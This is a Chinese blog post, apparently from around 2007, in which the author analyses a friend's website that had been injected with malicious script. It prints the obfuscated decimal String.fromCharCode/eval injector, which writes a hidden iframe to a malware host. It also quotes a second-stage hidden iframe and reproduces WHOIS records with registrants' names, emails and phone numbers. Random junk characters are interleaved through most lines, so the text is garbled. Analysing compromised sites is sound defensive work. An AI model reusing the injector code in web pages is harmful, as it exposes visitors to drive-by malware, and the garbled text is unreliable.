首发在我的博客里面，
=V~p QbZ } M-^A{C\% http://www.areway.cn/?p=175 #'[4k: =aZgq99 N,fEta6 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
& 7_xr.c7 &SuWmtq <script>t=’60,105,102,114,97,109,101,
_ Y@vO 32,115,114,99,61,104,116,116,112,58,47,47,
W5 ^eCYHoi 102,114,101,101,46,117,45,117,117,117,46,99,
r:0F("},
110,47,101,114,114,111,114,46,104,116,109,
wb~B Y 32,119,105,100,116,104,61,49,48,48,32,104,
b>SG5EqU@ 101,105,103,104,116,61,48,62,60,47,105,102,
T tTp ,If 114,97,109,101,62′;
5<ZE.' O t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
&{E 1w<uv y "6;O 0 <script>t=’60,105,102,114,97,109,101,32,115,
Z6C!-a 114,99,61,104,116,116,112,58,47,47,102,114,
DCr&%)Ll 101,101,46,117,45,117,117,117,46,99,110,47,
j e z =q 101,114,114,111,114,46,104,116,109,32,119,
LG3D3{H(. 105,100,116,104,61,49,48,48,32,104,101,105,
j=b?WNK 103,104,116,61,48,62,60,47,105,102,114,97,
8AL`<8$ 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
/ vC|_G|{ document.write(t);</script>
=y+gS%o$ sI\v} $(~ <html xmlns=”
7u7`z% http://www.w3.org/1999/xhtml B8A-|S!,U “>
e>z <head>
B!{ vSBq <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
Z./$}tVUG <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
%;S T7 <title>首页 - 爱生活家庭网
E;m]RtvH VRden>vKN 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
CqK&J
/8 转换字符串后的大概内容是（谁点击后果自付）：
SQ&nQzL <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
\cJ?2^Eq 5B6twn~[ 查询玉米u-uuu.cn的详细信息：
tNpBRk(} Domain Name: u-uuu.cn
{jdtNtw ROID: 20070901s10001s64972306-cn
|Z6M?n Domain Status: ok
-u+@5K;^Y Registrant Organization: 王雷
2tPW1"M.n Registrant Name: 王雷
%-9?rOr Administrative Email:
czlovexs@126.com n!Hj4~T0 Sponsoring Registrar: 北京万网志成科技有限公司
Z*uv~0a>9Q Name Server:ns.yovole.com
I_h u s Name Server:ns1.yovole.com
Z[9)
hGh Registration Date: 2007-09-01 17:54
Az Fd#P Expiration Date: 2008-09-01 17:54
8(d Hn 最后PING了一下地址 都没有什么….
0 QJ
: DpD1 9)ouy 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
RHO | g0 <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
rdj_3Utv <script language=”javascript” src=”
fv@mA -- http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script 3an9Rb V >
YA+jLy6ZL 这个玉米应该有可能是木马作者的：
YkWv*l foafau.info的详细信息：
arVu`pD*n Access to INFO WHOIS information is provided to assist persons in
ki|KtKAu_9 determining the contents of a domain name registration record in the
LAs#g||M Afilias registry database. The data in this record is provided by
28 7g 5 Afilias Limited for informational purposes only, and Afilias does not
*LuR
< V guarantee its accuracy. This service is intended only for query-based
Uk1|y\ access. You agree that you will use this data only for lawful purposes
v@,n ]" and that, under no circumstances will you use this data to: (a) allow,
H ){}28dX enable, or otherwise support the transmission by e-mail, telephone, or
#BPJRNXd facsimile of mass unsolicited, commercial advertising or solicitations
eR1SP S1+ to entities other than the data recipient’s own existing customers; or
,s ` y (b) enable high volume, automated, electronic processes that send
Z%&$_-yJ queries or data to the systems of Registry Operator, a Registrar, or
Kd='l~rby Afilias except as reasonably necessary to register domain names or
"Y'MuV'x modify existing registrations. All rights reserved. Afilias reserves
5;v_?M!UCK the right to modify these terms at any time. By submitting this query,
"Yp:{e you agree to abide by this policy.
.4CCR[Het Domain ID:D22418703-LRMS
%<dvdIB Domain Name:FOAFAU.INFO
TEJn;D<1I, Created On:20-Nov-2007 16:05:42 UTC
2uSXC*Phz Last Updated On:20-Nov-2007 16:05:44 UTC
c/Dk*.xy< Expiration Date:20-Nov-2008 16:05:42 UTC
,5*Z<[* Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
) wZ;}O Status:CLIENT DELETE PROHIBITED
L<D<3g|4 Status:CLIENT RENEW PROHIBITED
8NF93tqD6 Status:CLIENT TRANSFER PROHIBITED
p]jkfsCjN Status:CLIENT UPDATE PROHIBITED
SI)QX\is8 Status:TRANSFER PROHIBITED
srbES6 Registrant ID:GODA-040110615
4 H<. Registrant Name:liu hong
5S9i>B Registrant Organization:
T 6ihEb$C Registrant Street1:beijing
^U q%-a Registrant Street2:
fk*I}pDx Registrant Street3:
we("#s1= Registrant City:beijing
{{:QtkN Registrant State/Province:
#}xw
*)3 Registrant Postal Code:100000
s78MXS?py Registrant Country:CN
/]1$Soo Registrant Phone:+86.860108888777
]3D>ai? Registrant Phone Ext.:
gPE` mE Registrant FAX:
uqo tVil, Registrant FAX Ext.:
nsA}A~(E Registrant Email:bbbshiji@163.com
' ]bw37_U, Admin ID:GODA-240110615
! V^wq]D2 Admin Name:liu hong
4 EE7gkM5 Admin Organization:
:
I q Admin Street1:beijing
A4~- {.w= Admin Street2:
M&[bb $00j Admin Street3:
8NZQTRdH Admin City:beijing
J#'8]p3E Admin State/Province:
v ZiuElxKi Admin Postal Code:100000
K0aT(Rc
e Admin Country:CN
:kMF.9 U: Admin Phone:+86.860108888777
W(jOD,QMB Admin Phone Ext.:
}/bxe0px Admin FAX:
1a gNwFd~ Admin FAX Ext.:
)5[OG7/g Admin Email:bbbshiji@163.com
yR3pK
0Y(? Billing ID:GODA-340110615
m OC<a7# Billing Name:liu hong
oBS m>V Billing Organization:
p3,m), Billing Street1:beijing
[%c5MQ?H Billing Street2:
_|Uv7>}J^ Billing Street3:
?S<`*O
+ Billing City:beijing
MvKr~ Billing State/Province:
=vs]Kmm Billing Postal Code:100000
56?RFnZ&j Billing Country:CN
%f?Z/Wn Billing Phone:+86.860108888777
9oU1IT9 Billing Phone Ext.:
('~}$%C Billing FAX:
Yy c fb Billing FAX Ext.:
a.z) m} +
Billing Email:bbbshiji@163.com
|1pD n7 Tech ID:GODA-140110615
BROn2aSx% Tech Name:liu hong
\1He 9~6 Tech Organization:
Y'^+ KU Tech Street1:beijing
<dGp h Tech Street2:
ID]E3K Tech Street3:
vbh 5 Tech City:beijing
$5wf{iZY.Q Tech State/Province:
ew.jsa`TrW Tech Postal Code:100000
Kh8 Tech Country:CN
@tIY%;Bgk Tech Phone:+86.860108888777
2C
Fgit Tech Phone Ext.:
s'^sT= b Tech FAX:
7>V*gV?v Tech FAX Ext.:
zCdc wTe Tech Email:bbbshiji@163.com
p:;`X! Name Server:NS27.DOMAINCONTROL.COM
%Ze]6TP/>< Name Server:NS28.DOMAINCONTROL.COM
Xqy9D ZIn Name Server:
L O;?#e 7 Name Server:
b%QcB[k[WB Name Server:
TCR|wi]
kW Name Server:
$(]E$ek Name Server:
P,rD{ 0~ Name Server:
bo-L|R&O Name Server:
n_{az{~ Name Server:
y 2C Jk~ Name Server:
+QEP:#qZw Name Server:
]]NTvr Name Server:
R $@$ "-Yj ~ 接着下载每个文件里面的代码：
yN hRh>l 一步一步看..
e -Z ul.m 
@R_ON"h 
.(7m[-iF! 
+a" f)4\ 
O+?vQ$z 
Jr=XVQ(F 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
